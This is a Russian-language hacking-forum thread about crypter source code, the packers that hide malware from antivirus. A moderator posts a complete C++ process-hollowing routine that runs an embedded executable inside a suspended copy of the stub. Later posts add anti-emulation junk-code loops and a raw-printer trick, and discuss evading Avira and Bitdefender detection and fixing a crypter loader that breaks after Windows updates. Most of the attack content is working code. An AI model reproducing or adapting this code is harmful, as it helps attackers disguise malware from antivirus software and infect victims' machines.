• Уменьшение отступа

    Обратная связь

    (info@ru-sfera.pw)

Исходники криптора на С++

Нужн ли исходники крипторов, даже старых?


  • Всего проголосовало
    30

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 068
Репутация
8 175
все мои проги на делфи спокойно работают на любой винде от ХР до 8.1, и без самого делфи, просто надо юзать стандартные системные библиотеки
Речь идет про C++ Bulder 6, эти среды отличаются...

К тому-же в делфи нужно по мойму какую-то опцию включить чтобы без библиотек запускалась...
 

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 068
Репутация
8 175
Если глянете исходник, вроде ничего там не подключено такого...

Вот:
Код:
#include <windows.h>
#include <stdio.h>
#include <StdCtrls.hpp>
#include <io.h>

Будет время может в MS попробую переписать...

У стаба файл Unit1.cpp, этот код и нужно переносить...

А так ценного там только это:

Код:
typedef long int (__stdcall* NtUnmapViewOfSectionF)(HANDLE,PVOID);
NtUnmapViewOfSectionF NtUnmapViewOfSection = (NtUnmapViewOfSectionF)GetProcAddress(LoadLibrary( "ntdll.dll"),"NtUnmapViewOfSection");

/////////////////////////////////////////////////////////////
// Fork Process
// Параметр lpImage
// image of a portable executable file from address 0 to the end.

//ЭТА ПРОЦЕДУРА И ЗАПУСТИТ ФАЙЛ В ПАМЯТИ...
bool ForkProcess(LPVOID lpImage)
{
// Variables for Process Forking
long int lWritten;
long int lHeaderSize;
long int lImageSize;
long int lSectionCount;
long int lSectionSize;
long int lFirstSection;
long int lPreviousProtection;
long int lJumpSize;

bool bReturnValue;

LPVOID lpImageMemory;
LPVOID lpImageMemoryDummy;

IMAGE_DOS_HEADER dsDosHeader;
IMAGE_NT_HEADERS ntNtHeader;
IMAGE_SECTION_HEADER shSections[512 * 2];

PROCESS_INFORMATION piProcessInformation;
STARTUPINFO suStartUpInformation;

CONTEXT cContext;

// Variables for Local Process
FILE* fFile;
char* pProcessName;

long int lFileSize;
long int lLocalImageBase;
long int lLocalImageSize;

LPVOID lpLocalFile;

IMAGE_DOS_HEADER dsLocalDosHeader;
IMAGE_NT_HEADERS ntLocalNtHeader;

// End Variable Definition

bReturnValue = false;

pProcessName = new char[MAX_PATH];
ZeroMemory(pProcessName,MAX_PATH);

// Get the file name for the dummy process
if(GetModuleFileName(NULL,pProcessName,MAX_PATH) == 0)
{
delete [] pProcessName;
return bReturnValue;
}

// Open the dummy process in binary mode
fFile = fopen(pProcessName,"rb");
if(!fFile)
{
delete [] pProcessName;
return bReturnValue;
}

fseek(fFile,0,SEEK_END);

// Get file size
lFileSize = ftell(fFile);

rewind(fFile);

// Allocate memory for dummy file
lpLocalFile = new LPVOID[lFileSize];
ZeroMemory(lpLocalFile,lFileSize);

// Read memory of file
fread(lpLocalFile,lFileSize,1,fFile);

// Close file
fclose(fFile);

// Grab the DOS Headers
memcpy(&dsLocalDosHeader,lpLocalFile,sizeof(dsLocalDosHeader));

if(dsLocalDosHeader.e_magic != IMAGE_DOS_SIGNATURE)
{
delete [] pProcessName;
delete [] lpLocalFile;
return bReturnValue;
}

// Grab NT Headers
memcpy(&ntLocalNtHeader,(LPVOID)((long int)lpLocalFile+dsLocalDosHeader.e_lfanew),sizeof( dsLocalDosHeader));

if(ntLocalNtHeader.Signature != IMAGE_NT_SIGNATURE)
{
delete [] pProcessName;
delete [] lpLocalFile;
return bReturnValue;
}

// Get Size and Image Base
lLocalImageBase = ntLocalNtHeader.OptionalHeader.ImageBase;
lLocalImageSize = ntLocalNtHeader.OptionalHeader.SizeOfImage;

// Deallocate
delete [] lpLocalFile;

// Grab DOS Header for Forking Process
memcpy(&dsDosHeader,lpImage,sizeof(dsDosHeader));

if(dsDosHeader.e_magic != IMAGE_DOS_SIGNATURE)
{
delete [] pProcessName;
return bReturnValue;
}

// Grab NT Header for Forking Process
memcpy(&ntNtHeader,(LPVOID)((long int)lpImage+dsDosHeader.e_lfanew),sizeof(ntNtHeader));

if(ntNtHeader.Signature != IMAGE_NT_SIGNATURE)
{
delete [] pProcessName;
return bReturnValue;
}

// Get proper sizes
lImageSize = ntNtHeader.OptionalHeader.SizeOfImage;
lHeaderSize = ntNtHeader.OptionalHeader.SizeOfHeaders;

// Allocate memory for image
lpImageMemory = new LPVOID[lImageSize];
ZeroMemory(lpImageMemory,lImageSize);

lpImageMemoryDummy = lpImageMemory;

lFirstSection = (long int)(((long int)lpImage+dsDosHeader.e_lfanew) + sizeof(IMAGE_NT_HEADERS));

memcpy(shSections,(LPVOID)(lFirstSection),sizeof(IMAGE_SECTION_HEADER)*ntNtHeader.FileHeader.NumberOfSections);
memcpy(lpImageMemoryDummy,lpImage,lHeaderSize);

// Get Section Alignment
if((ntNtHeader.OptionalHeader.SizeOfHeaders % ntNtHeader.OptionalHeader.SectionAlignment) == 0)
{
lJumpSize = ntNtHeader.OptionalHeader.SizeOfHeaders;
}
else
{
lJumpSize = (ntNtHeader.OptionalHeader.SizeOfHeaders/ntNtHeader.OptionalHeader.SectionAlignment);
lJumpSize += 1;
lJumpSize *= (ntNtHeader.OptionalHeader.SectionAlignment);
}

lpImageMemoryDummy = (LPVOID)((long int)lpImageMemoryDummy + lJumpSize);

// Copy Sections To Buffer
for(lSectionCount = 0; lSectionCount < ntNtHeader.FileHeader.NumberOfSections; lSectionCount++)
{
lJumpSize = 0;
lSectionSize = shSections[lSectionCount].SizeOfRawData;

memcpy(lpImageMemoryDummy,(LPVOID)((long int)lpImage + shSections[lSectionCount].PointerToRawData),lSectionSize);

if((shSections[lSectionCount].Misc.VirtualSize % ntNtHeader.OptionalHeader.SectionAlignment)==0)
{
lJumpSize = shSections[lSectionCount].Misc.VirtualSize;
}
else
{
lJumpSize = (shSections[lSectionCount].Misc.VirtualSize/ntNtHeader.OptionalHeader.SectionAlignment);
lJumpSize += 1;
lJumpSize *= (ntNtHeader.OptionalHeader.SectionAlignment);
}

lpImageMemoryDummy = (LPVOID)((long int)lpImageMemoryDummy + lJumpSize);
}

ZeroMemory(&suStartUpInformation,sizeof(STARTUPINFO));
ZeroMemory(&piProcessInformation,sizeof(PROCESS_INFORMATION));
ZeroMemory(&cContext,sizeof(CONTEXT));

suStartUpInformation.cb = sizeof(suStartUpInformation);

// Create Process
if(CreateProcess(NULL,pProcessName,NULL,NULL,false ,CREATE_SUSPENDED,NULL,NULL,&suStartUpInformation, &piProcessInformation))
{
cContext.ContextFlags = CONTEXT_FULL;
GetThreadContext(piProcessInformation.hThread,&cContext);

// Check image base and image size
if(lLocalImageBase == (long int)ntNtHeader.OptionalHeader.ImageBase && lImageSize <= lLocalImageSize)
{
VirtualProtectEx(piProcessInformation.hProcess,(LPVOID)((long int)ntNtHeader.OptionalHeader.ImageBase),lImageSize,PAGE_EXECUTE_READWRITE,(unsigned long*)&lPreviousProtection);
}
else
{
if(!NtUnmapViewOfSection(piProcessInformation.hProcess,(LPVOID)((DWORD)lLocalImageBase)))
VirtualAllocEx(piProcessInformation.hProcess,(LPVOID)((long int)ntNtHeader.OptionalHeader.ImageBase),lImageSize,MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
}

// Write Image to Process
if(WriteProcessMemory(piProcessInformation.hProcess,(LPVOID)((long int)ntNtHeader.OptionalHeader.ImageBase),lpImageMemory,lImageSize,(unsigned long*)&lWritten))
{
bReturnValue = true;
}

// Set Image Base
if(WriteProcessMemory(piProcessInformation.hProcess,(LPVOID)((long int)cContext.Ebx + 8),&ntNtHeader.OptionalHeader.ImageBase,4,(unsigned long*)&lWritten))
{
if(bReturnValue == true)
bReturnValue = true;
}

if(bReturnValue == false)
{
delete [] pProcessName;
delete [] lpImageMemory;
return bReturnValue;
}

// Set the new entry point
cContext.Eax = ntNtHeader.OptionalHeader.ImageBase + ntNtHeader.OptionalHeader.AddressOfEntryPoint;

SetThreadContext(piProcessInformation.hThread,&cContext);

if(lLocalImageBase == (long int)ntNtHeader.OptionalHeader.ImageBase && lImageSize <= lLocalImageSize)
VirtualProtectEx(piProcessInformation.hProcess,(LPVOID)((long int)ntNtHeader.OptionalHeader.ImageBase),lImageSize,lPreviousProtection,0);

// Resume the process
ResumeThread(piProcessInformation.hThread);
}

delete [] pProcessName;
delete [] lpImageMemory;

return bReturnValue;
}

Кстати использует именно системную библиотеку, на хрюше и 7-ке точно работает причём при включонном уаке...

Ну и преобразование в строку и из строки тоже можно глянуть...

Конечно это всё нужно прятать под антиэмуль, иначе расшифруют и задетектят...

С авирой что делать ? Детектит из-за того-что стаб считывает сам-себя кстати...

Короче интересует обход авиры и бита ?

Да и кому интересно поактивней, иначе я на это всё забью, мне это не нужно, т.к. не троянщик...WinkSmile
 

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 068
Репутация
8 175
Получается криптор больше не валиден?
О каком крипторе идёт речь, если тот который выложил ТС то если разобраться в его работе то по моему мнению до сех-пор актуально, а так здесь на форуме есть исходник криптора от Джафара, также на факкав есть тема неплохая: неплохая тем-что там есть методы готовые уже для антиэмуляции, достаточно просто вставить в код и всё...

А так если лень либо не можите разобраться, тут либо искать паблик криптор, либо искать и юзать протекторы типо там UPX и т.д., либо искать приватный криптор...

Здесь приватного ничего нет, также никто продавать здесь ничего не будет, т.к. запрещено правилами, это так на всякий случай сказал сразу...
 

ja_far

Уважаемый пользователь
Форумчанин
Регистрация
01.10.2014
Сообщения
47
Репутация
48
X-Shar, такой вопрос: тот криптор мой на делфи, помнишь мы ковыряли? Помоги разобраться, после установки обновлений на винду где-то с месяц назад (тестил на семерке х64) начал отваливаться загрузчик, на факаве я писал об этом. Файлы начали падать при запуске даблкликом а из sfx архива работают, не могу понять как обойти эту беду, ну кроме как запихивать в sfx)) Глянь, вдруг разберешься где собака зарыта, так то я его почистил и юзаю помаленьку.
 

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 068
Репутация
8 175
Файлы начали падать при запуске даблкликом а из sfx архива работают, не могу понять как обойти эту беду, ну кроме как запихивать в sfx))
Если только дабл-кликом, то можно попробовать сделать проверку на дабл запуск, в делфи несложно делается, поищи в гугле инфа есть...

А с тем загрузчиком я так и не разобрался, к сожалению ничем не могу помочь...
 

vipluxa

Пользователь
Форумчанин
Регистрация
11.10.2017
Сообщения
8
Telegram
Ошибка при компиляции

Серьезность Код Описание Проект Файл Строка Состояние подавления
Ошибка C2371 PROCESS_INFORMATION_CLASS: переопределение; различные базовые типы Krypton c:\users\darckuser\desktop\krypton_7.1\generator\ntundoc.h 1817
 

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 068
Репутация
8 175
Ошибка при компиляции
На дату поста посмотрите ! :)

А-так рекомендую просто взять антиэмуляцию от туда, хотя возможно уже неактуально.

Щас глянул, единственное что там ценное, это возможно мусорный код, что-то типо этого:

Код:
//Длинный цикл мусора - антиэмуляция от MS, AVG и VBA
            for(ULONG j=0;j<HIWORD(dwFakeDWORD)*szFakeDWORD[1]+bIsNotServer;j++)
            {
                __asm{hlt} _asm{cli} _asm{cld} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop}
                __asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop}
                __asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop}
                __asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop}
                __asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop}
                __asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop}
                __asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop}
                __asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop}
                __asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop}
                __asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop}
                __asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop}
                __asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop}
                __asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop}
                __asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop}
                __asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop}
                __asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop}
                __asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop}
                __asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop}
                __asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop}
                __asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop}
                __asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop}
                __asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop}
                __asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop}
                __asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop}
                __asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop}
                __asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop}
                __asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop}
                __asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop}
                __asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop}
                __asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop}
                __asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop}
                __asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop}
                __asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop}
                __asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop} _asm{nop}
              }

Также для антиэмуляции отправка бинарного кода на принтер !Dmeh-Smeh-Smeh!!!
Код:
//Посылает бинарные данные на принтер по-умолчанию
BOOL __fastcall RawDataToPrinter(LPBYTE lpData, DWORD dwCount)
{
    BOOL     bStatus = FALSE;
    HANDLE     hPrinter = NULL;
    DOC_INFO_1 DocInfo;
    DWORD      dwJob = 0L;
    DWORD      dwBytesWritten = 0L;
    char szPrinterName[MAX_PATH];
    DWORD dwBl = MAX_PATH;
    if(!GetDefaultPrinterA(szPrinterName,&dwBl )) return FALSE;
    // Open a handle to the printer.
    bStatus = OpenPrinterA( szPrinterName, &hPrinter, NULL );  // question 1
    if (bStatus)
    {
        // Fill in the structure with info about this "document."
        DocInfo.pDocName = (LPTSTR)_T("My Document");  // question 2
        DocInfo.pOutputFile = NULL;                 // question 3
        DocInfo.pDatatype = (LPTSTR)_T("RAW");   // question 4

        // Inform the spooler the document is beginning.
        dwJob = StartDocPrinter( hPrinter, 1, (LPBYTE)&DocInfo );  // question 5
        if (dwJob > 0)
        {
            // Start a page.
            bStatus = StartPagePrinter( hPrinter );
            if (bStatus) {
                // Send the data to the printer.
                bStatus = WritePrinter( hPrinter, lpData, dwCount, &dwBytesWritten);
                EndPagePrinter (hPrinter);
            }
            // Inform the spooler that the document is ending.
            EndDocPrinter( hPrinter );
        } //else AbortDoc(NULL);
        // Close the printer handle.
        ClosePrinter( hPrinter );
    }
    // Check to see if correct number of bytes were written.
    if (!bStatus || (dwBytesWritten != dwCount)) {
        bStatus = FALSE;
    } else {
        bStatus = TRUE;
    }
    
    return bStatus;
}

А вообще код жесть, напиханно всё как в мусорную бочку. Там и работа с графикой зачем-то, честно даже вникать стрёмно в это. i'm crazy
 

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 068
Репутация
8 175
Вот в качестве рыбы попробуйте простенький протектор с антиэмуляцией:Программа ИБ - Исходник простого криптора/протектора с антиэмуляцией на С++

Там исходник на вижуалке, даже целый проект скинул.

Реакция на комету:

upload_2017-10-15_15-45-55-png.59171


Изначально скан такой:
 
Верх Низ